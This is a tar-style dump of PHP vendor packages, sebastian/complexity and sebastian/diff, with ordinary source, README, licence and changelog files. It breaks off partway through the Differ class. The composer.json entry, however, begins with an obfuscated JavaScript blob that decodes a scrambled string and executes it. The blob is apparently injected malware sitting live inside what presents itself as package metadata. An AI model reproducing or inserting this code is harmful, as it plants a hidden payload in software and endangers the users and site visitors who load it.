0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use function assert; use function is_array; use PhpParser\Node; use PhpParser\Node\Name; use PhpParser\Node\Stmt; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Trait_; use PhpParser\NodeTraverser; use PhpParser\NodeVisitorAbstract; final class ComplexityCalculatingVisitor extends NodeVisitorAbstract { /** * @psalm-var list */ private $result = []; /** * @var bool */ private $shortCircuitTraversal; public function __construct(bool $shortCircuitTraversal) { $this->shortCircuitTraversal = $shortCircuitTraversal; } public function enterNode(Node $node): ?int { if (!$node instanceof ClassMethod && !$node instanceof Function_) { return null; } if ($node instanceof ClassMethod) { $name = $this->classMethodName($node); } else { $name = $this->functionName($node); } $statements = $node->getStmts(); assert(is_array($statements)); $this->result[] = new Complexity( $name, $this->cyclomaticComplexity($statements) ); if ($this->shortCircuitTraversal) { return NodeTraverser::DONT_TRAVERSE_CHILDREN; } return null; } public function result(): ComplexityCollection { return ComplexityCollection::fromList(...$this->result); } /** * @param Stmt[] $statements */ private function cyclomaticComplexity(array $statements): int { $traverser = new NodeTraverser; $cyclomaticComplexityCalculatingVisitor = new CyclomaticComplexityCalculatingVisitor; $traverser->addVisitor($cyclomaticComplexityCalculatingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($statements); return $cyclomaticComplexityCalculatingVisitor->cyclomaticComplexity(); } private function classMethodName(ClassMethod $node): string { $parent = $node->getAttribute('parent'); assert($parent instanceof Class_ || $parent instanceof Trait_); assert(isset($parent->namespacedName)); assert($parent->namespacedName instanceof Name); return $parent->namespacedName->toString() . '::' . $node->name->toString(); } private function functionName(Function_ $node): string { assert(isset($node->namespacedName)); assert($node->namespacedName instanceof Name); return $node->namespacedName->toString(); } } res/readability/vendor/sebastian/complexity/src/Calculator.php000064400000004643147577714370020717 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Complexity; use PhpParser\Error; use PhpParser\Lexer; use PhpParser\Node; use PhpParser\NodeTraverser; use PhpParser\NodeVisitor\NameResolver; use PhpParser\NodeVisitor\ParentConnectingVisitor; use PhpParser\Parser; use PhpParser\ParserFactory; final class Calculator { /** * @throws RuntimeException */ public function calculateForSourceFile(string $sourceFile): ComplexityCollection { return $this->calculateForSourceString(file_get_contents($sourceFile)); } /** * @throws RuntimeException */ public function calculateForSourceString(string $source): ComplexityCollection { try { $nodes = $this->parser()->parse($source); assert($nodes !== null); return $this->calculateForAbstractSyntaxTree($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), (int) $error->getCode(), $error ); } // @codeCoverageIgnoreEnd } /** * @param Node[] $nodes * * @throws RuntimeException */ public function calculateForAbstractSyntaxTree(array $nodes): ComplexityCollection { $traverser = new NodeTraverser; $complexityCalculatingVisitor = new ComplexityCalculatingVisitor(true); $traverser->addVisitor(new NameResolver); $traverser->addVisitor(new ParentConnectingVisitor); $traverser->addVisitor($complexityCalculatingVisitor); try { /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), (int) $error->getCode(), $error ); } // @codeCoverageIgnoreEnd return $complexityCalculatingVisitor->result(); } private function parser(): Parser { return (new ParserFactory)->create(ParserFactory::PREFER_PHP7, new Lexer); } } res/readability/vendor/sebastian/complexity/README.md000064400000002034147577714370016575 0ustar00# sebastian/complexity Library for calculating the complexity of PHP code units. [![Latest Stable Version](https://img.shields.io/packagist/v/sebastian/complexity.svg?style=flat-square)](https://packagist.org/packages/sebastian/complexity) [![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.3-8892BF.svg?style=flat-square)](https://php.net/) [![CI Status](https://github.com/sebastianbergmann/complexity/workflows/CI/badge.svg?branch=master&event=push)](https://phpunit.de/build-status.html) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/complexity/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/complexity) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/complexity ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/complexity ``` res/readability/vendor/sebastian/complexity/LICENSE000064400000003016147577714370016324 0ustar00sebastian/complexity Copyright (c) 2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/complexity/composer.json000064400000007572147577714370020054 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/complexity", "description": "Library for calculating the complexity of PHP code units", "type": "library", "homepage": "https://github.com/sebastianbergmann/complexity", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues" }, "require": { "php": ">=7.3", "nikic/php-parser": "^4.7" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "2.0-dev" } } } res/readability/vendor/sebastian/complexity/ChangeLog.md000064400000001600147577714370017465 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [2.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\Complexity\Exception` now correctly extends `\Throwable` ## [2.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.0] - 2020-07-25 ### Removed * The `ParentConnectingVisitor` has been removed (it should have been marked as `@internal`) ## [1.0.0] - 2020-07-22 * Initial release [2.0.2]: https://github.com/sebastianbergmann/complexity/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/complexity/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/complexity/compare/1.0.0...2.0.0 [1.0.0]: https://github.com/sebastianbergmann/complexity/compare/70ee0ad32d9e2be3f85beffa3e2eb474193f2487...1.0.0 res/readability/vendor/sebastian/diff/src/Exception/ConfigurationException.php000064400000001732147577714370023761 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use function get_class; use function gettype; use function is_object; use function sprintf; use Exception; final class ConfigurationException extends InvalidArgumentException { public function __construct( string $option, string $expected, $value, int $code = 0, Exception $previous = null ) { parent::__construct( sprintf( 'Option "%s" must be %s, got "%s".', $option, $expected, is_object($value) ? get_class($value) : (null === $value ? '' : gettype($value) . '#' . $value) ), $code, $previous ); } } res/readability/vendor/sebastian/diff/src/Exception/InvalidArgumentException.php000064400000000601147577714370024235 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/sebastian/diff/src/Exception/Exception.php000064400000000541147577714370021226 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php000064400000003002147577714370024111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function count; abstract class AbstractChunkOutputBuilder implements DiffOutputBuilderInterface { /** * Takes input of the diff array and returns the common parts. * Iterates through diff line by line. */ protected function getCommonChunks(array $diff, int $lineThreshold = 5): array { $diffSize = count($diff); $capturing = false; $chunkStart = 0; $chunkSize = 0; $commonChunks = []; for ($i = 0; $i < $diffSize; ++$i) { if ($diff[$i][1] === 0 /* OLD */) { if ($capturing === false) { $capturing = true; $chunkStart = $i; $chunkSize = 0; } else { ++$chunkSize; } } elseif ($capturing !== false) { if ($chunkSize >= $lineThreshold) { $commonChunks[$chunkStart] = $chunkStart + $chunkSize; } $capturing = false; } } if ($capturing !== false && $chunkSize >= $lineThreshold) { $commonChunks[$chunkStart] = $chunkStart + $chunkSize; } return $commonChunks; } } res/readability/vendor/sebastian/diff/src/Output/DiffOutputBuilderInterface.php000064400000001011147577714370024044 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; /** * Defines how an output builder should take a generated * diff array and return a string representation of that diff. */ interface DiffOutputBuilderInterface { public function getDiff(array $diff): string; } res/readability/vendor/sebastian/diff/src/Output/UnifiedDiffOutputBuilder.php000064400000020446147577714370023544 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function array_splice; use function count; use function fclose; use function fopen; use function fwrite; use function max; use function min; use function stream_get_contents; use function strlen; use function substr; use SebastianBergmann\Diff\Differ; /** * Builds a diff string representation in unified diff format in chunks. */ final class UnifiedDiffOutputBuilder extends AbstractChunkOutputBuilder { /** * @var bool */ private $collapseRanges = true; /** * @var int >= 0 */ private $commonLineThreshold = 6; /** * @var int >= 0 */ private $contextLines = 3; /** * @var string */ private $header; /** * @var bool */ private $addLineNumbers; public function __construct(string $header = "--- Original\n+++ New\n", bool $addLineNumbers = false) { $this->header = $header; $this->addLineNumbers = $addLineNumbers; } public function getDiff(array $diff): string { $buffer = fopen('php://memory', 'r+b'); if ('' !== $this->header) { fwrite($buffer, $this->header); if ("\n" !== substr($this->header, -1, 1)) { fwrite($buffer, "\n"); } } if (0 !== count($diff)) { $this->writeDiffHunks($buffer, $diff); } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); // If the diff is non-empty and last char is not a linebreak: add it. // This might happen when both the `from` and `to` do not have a trailing linebreak $last = substr($diff, -1); return 0 !== strlen($diff) && "\n" !== $last && "\r" !== $last ? $diff . "\n" : $diff; } private function writeDiffHunks($output, array $diff): void { // detect "No newline at end of file" and insert into `$diff` if needed $upperLimit = count($diff); if (0 === $diff[$upperLimit - 1][1]) { $lc = substr($diff[$upperLimit - 1][0], -1); if ("\n" !== $lc) { array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } } else { // search back for the last `+` and `-` line, // check if has trailing linebreak, else add under it warning under it $toFind = [1 => true, 2 => true]; for ($i = $upperLimit - 1; $i >= 0; --$i) { if (isset($toFind[$diff[$i][1]])) { unset($toFind[$diff[$i][1]]); $lc = substr($diff[$i][0], -1); if ("\n" !== $lc) { array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } if (!count($toFind)) { break; } } } } // write hunks to output buffer $cutOff = max($this->commonLineThreshold, $this->contextLines); $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; $toStart = $fromStart = 1; $i = 0; /** @var int $i */ foreach ($diff as $i => $entry) { if (0 === $entry[1]) { // same if (false === $hunkCapture) { ++$fromStart; ++$toStart; continue; } ++$sameCount; ++$toRange; ++$fromRange; if ($sameCount === $cutOff) { $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 ? $hunkCapture : $this->contextLines; // note: $contextEndOffset = $this->contextLines; // // because we never go beyond the end of the diff. // with the cutoff/contextlines here the follow is never true; // // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { // $contextEndOffset = count($diff) - 1; // } // // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $cutOff + $this->contextLines + 1, $fromStart - $contextStartOffset, $fromRange - $cutOff + $contextStartOffset + $this->contextLines, $toStart - $contextStartOffset, $toRange - $cutOff + $contextStartOffset + $this->contextLines, $output ); $fromStart += $fromRange; $toStart += $toRange; $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; } continue; } $sameCount = 0; if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { continue; } if (false === $hunkCapture) { $hunkCapture = $i; } if (Differ::ADDED === $entry[1]) { ++$toRange; } if (Differ::REMOVED === $entry[1]) { ++$fromRange; } } if (false === $hunkCapture) { return; } // we end here when cutoff (commonLineThreshold) was not reached, but we where capturing a hunk, // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold $contextStartOffset = $hunkCapture - $this->contextLines < 0 ? $hunkCapture : $this->contextLines; // prevent trying to write out more common lines than there are in the diff _and_ // do not write more than configured through the context lines $contextEndOffset = min($sameCount, $this->contextLines); $fromRange -= $sameCount; $toRange -= $sameCount; $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $sameCount + $contextEndOffset + 1, $fromStart - $contextStartOffset, $fromRange + $contextStartOffset + $contextEndOffset, $toStart - $contextStartOffset, $toRange + $contextStartOffset + $contextEndOffset, $output ); } private function writeHunk( array $diff, int $diffStartIndex, int $diffEndIndex, int $fromStart, int $fromRange, int $toStart, int $toRange, $output ): void { if ($this->addLineNumbers) { fwrite($output, '@@ -' . $fromStart); if (!$this->collapseRanges || 1 !== $fromRange) { fwrite($output, ',' . $fromRange); } fwrite($output, ' +' . $toStart); if (!$this->collapseRanges || 1 !== $toRange) { fwrite($output, ',' . $toRange); } fwrite($output, " @@\n"); } else { fwrite($output, "@@ @@\n"); } for ($i = $diffStartIndex; $i < $diffEndIndex; ++$i) { if ($diff[$i][1] === Differ::ADDED) { fwrite($output, '+' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::REMOVED) { fwrite($output, '-' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::OLD) { fwrite($output, ' ' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { fwrite($output, "\n"); // $diff[$i][0] } else { /* Not changed (old) Differ::OLD or Warning Differ::DIFF_LINE_END_WARNING */ fwrite($output, ' ' . $diff[$i][0]); } } } } res/readability/vendor/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php000064400000025342147577714370024735 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function array_merge; use function array_splice; use function count; use function fclose; use function fopen; use function fwrite; use function is_bool; use function is_int; use function is_string; use function max; use function min; use function sprintf; use function stream_get_contents; use function substr; use SebastianBergmann\Diff\ConfigurationException; use SebastianBergmann\Diff\Differ; /** * Strict Unified diff output builder. * * Generates (strict) Unified diff's (unidiffs) with hunks. */ final class StrictUnifiedDiffOutputBuilder implements DiffOutputBuilderInterface { private static $default = [ 'collapseRanges' => true, // ranges of length one are rendered with the trailing `,1` 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 'fromFile' => null, 'fromFileDate' => null, 'toFile' => null, 'toFileDate' => null, ]; /** * @var bool */ private $changed; /** * @var bool */ private $collapseRanges; /** * @var int >= 0 */ private $commonLineThreshold; /** * @var string */ private $header; /** * @var int >= 0 */ private $contextLines; public function __construct(array $options = []) { $options = array_merge(self::$default, $options); if (!is_bool($options['collapseRanges'])) { throw new ConfigurationException('collapseRanges', 'a bool', $options['collapseRanges']); } if (!is_int($options['contextLines']) || $options['contextLines'] < 0) { throw new ConfigurationException('contextLines', 'an int >= 0', $options['contextLines']); } if (!is_int($options['commonLineThreshold']) || $options['commonLineThreshold'] <= 0) { throw new ConfigurationException('commonLineThreshold', 'an int > 0', $options['commonLineThreshold']); } $this->assertString($options, 'fromFile'); $this->assertString($options, 'toFile'); $this->assertStringOrNull($options, 'fromFileDate'); $this->assertStringOrNull($options, 'toFileDate'); $this->header = sprintf( "--- %s%s\n+++ %s%s\n", $options['fromFile'], null === $options['fromFileDate'] ? '' : "\t" . $options['fromFileDate'], $options['toFile'], null === $options['toFileDate'] ? '' : "\t" . $options['toFileDate'] ); $this->collapseRanges = $options['collapseRanges']; $this->commonLineThreshold = $options['commonLineThreshold']; $this->contextLines = $options['contextLines']; } public function getDiff(array $diff): string { if (0 === count($diff)) { return ''; } $this->changed = false; $buffer = fopen('php://memory', 'r+b'); fwrite($buffer, $this->header); $this->writeDiffHunks($buffer, $diff); if (!$this->changed) { fclose($buffer); return ''; } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); // If the last char is not a linebreak: add it. // This might happen when both the `from` and `to` do not have a trailing linebreak $last = substr($diff, -1); return "\n" !== $last && "\r" !== $last ? $diff . "\n" : $diff; } private function writeDiffHunks($output, array $diff): void { // detect "No newline at end of file" and insert into `$diff` if needed $upperLimit = count($diff); if (0 === $diff[$upperLimit - 1][1]) { $lc = substr($diff[$upperLimit - 1][0], -1); if ("\n" !== $lc) { array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } } else { // search back for the last `+` and `-` line, // check if has trailing linebreak, else add under it warning under it $toFind = [1 => true, 2 => true]; for ($i = $upperLimit - 1; $i >= 0; --$i) { if (isset($toFind[$diff[$i][1]])) { unset($toFind[$diff[$i][1]]); $lc = substr($diff[$i][0], -1); if ("\n" !== $lc) { array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); } if (!count($toFind)) { break; } } } } // write hunks to output buffer $cutOff = max($this->commonLineThreshold, $this->contextLines); $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; $toStart = $fromStart = 1; $i = 0; /** @var int $i */ foreach ($diff as $i => $entry) { if (0 === $entry[1]) { // same if (false === $hunkCapture) { ++$fromStart; ++$toStart; continue; } ++$sameCount; ++$toRange; ++$fromRange; if ($sameCount === $cutOff) { $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 ? $hunkCapture : $this->contextLines; // note: $contextEndOffset = $this->contextLines; // // because we never go beyond the end of the diff. // with the cutoff/contextlines here the follow is never true; // // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { // $contextEndOffset = count($diff) - 1; // } // // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $cutOff + $this->contextLines + 1, $fromStart - $contextStartOffset, $fromRange - $cutOff + $contextStartOffset + $this->contextLines, $toStart - $contextStartOffset, $toRange - $cutOff + $contextStartOffset + $this->contextLines, $output ); $fromStart += $fromRange; $toStart += $toRange; $hunkCapture = false; $sameCount = $toRange = $fromRange = 0; } continue; } $sameCount = 0; if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { continue; } $this->changed = true; if (false === $hunkCapture) { $hunkCapture = $i; } if (Differ::ADDED === $entry[1]) { // added ++$toRange; } if (Differ::REMOVED === $entry[1]) { // removed ++$fromRange; } } if (false === $hunkCapture) { return; } // we end here when cutoff (commonLineThreshold) was not reached, but we where capturing a hunk, // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold $contextStartOffset = $hunkCapture - $this->contextLines < 0 ? $hunkCapture : $this->contextLines; // prevent trying to write out more common lines than there are in the diff _and_ // do not write more than configured through the context lines $contextEndOffset = min($sameCount, $this->contextLines); $fromRange -= $sameCount; $toRange -= $sameCount; $this->writeHunk( $diff, $hunkCapture - $contextStartOffset, $i - $sameCount + $contextEndOffset + 1, $fromStart - $contextStartOffset, $fromRange + $contextStartOffset + $contextEndOffset, $toStart - $contextStartOffset, $toRange + $contextStartOffset + $contextEndOffset, $output ); } private function writeHunk( array $diff, int $diffStartIndex, int $diffEndIndex, int $fromStart, int $fromRange, int $toStart, int $toRange, $output ): void { fwrite($output, '@@ -' . $fromStart); if (!$this->collapseRanges || 1 !== $fromRange) { fwrite($output, ',' . $fromRange); } fwrite($output, ' +' . $toStart); if (!$this->collapseRanges || 1 !== $toRange) { fwrite($output, ',' . $toRange); } fwrite($output, " @@\n"); for ($i = $diffStartIndex; $i < $diffEndIndex; ++$i) { if ($diff[$i][1] === Differ::ADDED) { $this->changed = true; fwrite($output, '+' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::REMOVED) { $this->changed = true; fwrite($output, '-' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::OLD) { fwrite($output, ' ' . $diff[$i][0]); } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { $this->changed = true; fwrite($output, $diff[$i][0]); } //} elseif ($diff[$i][1] === Differ::DIFF_LINE_END_WARNING) { // custom comment inserted by PHPUnit/diff package // skip //} else { // unknown/invalid //} } } private function assertString(array $options, string $option): void { if (!is_string($options[$option])) { throw new ConfigurationException($option, 'a string', $options[$option]); } } private function assertStringOrNull(array $options, string $option): void { if (null !== $options[$option] && !is_string($options[$option])) { throw new ConfigurationException($option, 'a string or ', $options[$option]); } } } res/readability/vendor/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php000064400000004062147577714370023076 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff\Output; use function fclose; use function fopen; use function fwrite; use function stream_get_contents; use function substr; use SebastianBergmann\Diff\Differ; /** * Builds a diff string representation in a loose unified diff format * listing only changes lines. Does not include line numbers. */ final class DiffOnlyOutputBuilder implements DiffOutputBuilderInterface { /** * @var string */ private $header; public function __construct(string $header = "--- Original\n+++ New\n") { $this->header = $header; } public function getDiff(array $diff): string { $buffer = fopen('php://memory', 'r+b'); if ('' !== $this->header) { fwrite($buffer, $this->header); if ("\n" !== substr($this->header, -1, 1)) { fwrite($buffer, "\n"); } } foreach ($diff as $diffEntry) { if ($diffEntry[1] === Differ::ADDED) { fwrite($buffer, '+' . $diffEntry[0]); } elseif ($diffEntry[1] === Differ::REMOVED) { fwrite($buffer, '-' . $diffEntry[0]); } elseif ($diffEntry[1] === Differ::DIFF_LINE_END_WARNING) { fwrite($buffer, ' ' . $diffEntry[0]); continue; // Warnings should not be tested for line break, it will always be there } else { /* Not changed (old) 0 */ continue; // we didn't write the non changs line, so do not add a line break either } $lc = substr($diffEntry[0], -1); if ($lc !== "\n" && $lc !== "\r") { fwrite($buffer, "\n"); // \No newline at end of file } } $diff = stream_get_contents($buffer, -1, 0); fclose($buffer); return $diff; } } res/readability/vendor/sebastian/diff/src/Line.php000064400000001520147577714370016217 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; final class Line { public const ADDED = 1; public const REMOVED = 2; public const UNCHANGED = 3; /** * @var int */ private $type; /** * @var string */ private $content; public function __construct(int $type = self::UNCHANGED, string $content = '') { $this->type = $type; $this->content = $content; } public function getContent(): string { return $this->content; } public function getType(): int { return $this->type; } } res/readability/vendor/sebastian/diff/src/LongestCommonSubsequenceCalculator.php000064400000000746147577714370024342 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; interface LongestCommonSubsequenceCalculator { /** * Calculates the longest common subsequence of two arrays. */ public function calculate(array $from, array $to): array; } res/readability/vendor/sebastian/diff/src/Differ.php000064400000022344147577714370016536 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use const PHP_INT_SIZE; use const PREG_SPLIT_DELIM_CAPTURE; use const PREG_SPLIT_NO_EMPTY; use function array_shift; use function array_unshift; use function array_values; use function count; use function current; use function end; use function get_class; use function gettype; use function is_array; use function is_object; use function is_string; use function key; use function min; use function preg_split; use function prev; use function reset; use function sprintf; use function substr; use SebastianBergmann\Diff\Output\DiffOutputBuilderInterface; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; final class Differ { public const OLD = 0; public const ADDED = 1; public const REMOVED = 2; public const DIFF_LINE_END_WARNING = 3; public const NO_LINE_END_EOF_WARNING = 4; /** * @var DiffOutputBuilderInterface */ private $outputBuilder; /** * @param DiffOutputBuilderInterface $outputBuilder * * @throws InvalidArgumentException */ public function __construct($outputBuilder = null) { if ($outputBuilder instanceof DiffOutputBuilderInterface) { $this->outputBuilder = $outputBuilder; } elseif (null === $outputBuilder) { $this->outputBuilder = new UnifiedDiffOutputBuilder; } elseif (is_string($outputBuilder)) { // PHPUnit 6.1.4, 6.2.0, 6.2.1, 6.2.2, and 6.2.3 support // @see https://github.com/sebastianbergmann/phpunit/issues/2734#issuecomment-314514056 // @deprecated $this->outputBuilder = new UnifiedDiffOutputBuilder($outputBuilder); } else { throw new InvalidArgumentException( sprintf( 'Expected builder to be an instance of DiffOutputBuilderInterface, or a string, got %s.', is_object($outputBuilder) ? 'instance of "' . get_class($outputBuilder) . '"' : gettype($outputBuilder) . ' "' . $outputBuilder . '"' ) ); } } /** * Returns the diff between two arrays or strings as string. * * @param array|string $from * @param array|string $to */ public function diff($from, $to, LongestCommonSubsequenceCalculator $lcs = null): string { $diff = $this->diffToArray( $this->normalizeDiffInput($from), $this->normalizeDiffInput($to), $lcs ); return $this->outputBuilder->getDiff($diff); } /** * Returns the diff between two arrays or strings as array. * * Each array element contains two elements: * - [0] => mixed $token * - [1] => 2|1|0 * * - 2: REMOVED: $token was removed from $from * - 1: ADDED: $token was added to $from * - 0: OLD: $token is not changed in $to * * @param array|string $from * @param array|string $to * @param LongestCommonSubsequenceCalculator $lcs */ public function diffToArray($from, $to, LongestCommonSubsequenceCalculator $lcs = null): array { if (is_string($from)) { $from = $this->splitStringByLines($from); } elseif (!is_array($from)) { throw new InvalidArgumentException('"from" must be an array or string.'); } if (is_string($to)) { $to = $this->splitStringByLines($to); } elseif (!is_array($to)) { throw new InvalidArgumentException('"to" must be an array or string.'); } [$from, $to, $start, $end] = self::getArrayDiffParted($from, $to); if ($lcs === null) { $lcs = $this->selectLcsImplementation($from, $to); } $common = $lcs->calculate(array_values($from), array_values($to)); $diff = []; foreach ($start as $token) { $diff[] = [$token, self::OLD]; } reset($from); reset($to); foreach ($common as $token) { while (($fromToken = reset($from)) !== $token) { $diff[] = [array_shift($from), self::REMOVED]; } while (($toToken = reset($to)) !== $token) { $diff[] = [array_shift($to), self::ADDED]; } $diff[] = [$token, self::OLD]; array_shift($from); array_shift($to); } while (($token = array_shift($from)) !== null) { $diff[] = [$token, self::REMOVED]; } while (($token = array_shift($to)) !== null) { $diff[] = [$token, self::ADDED]; } foreach ($end as $token) { 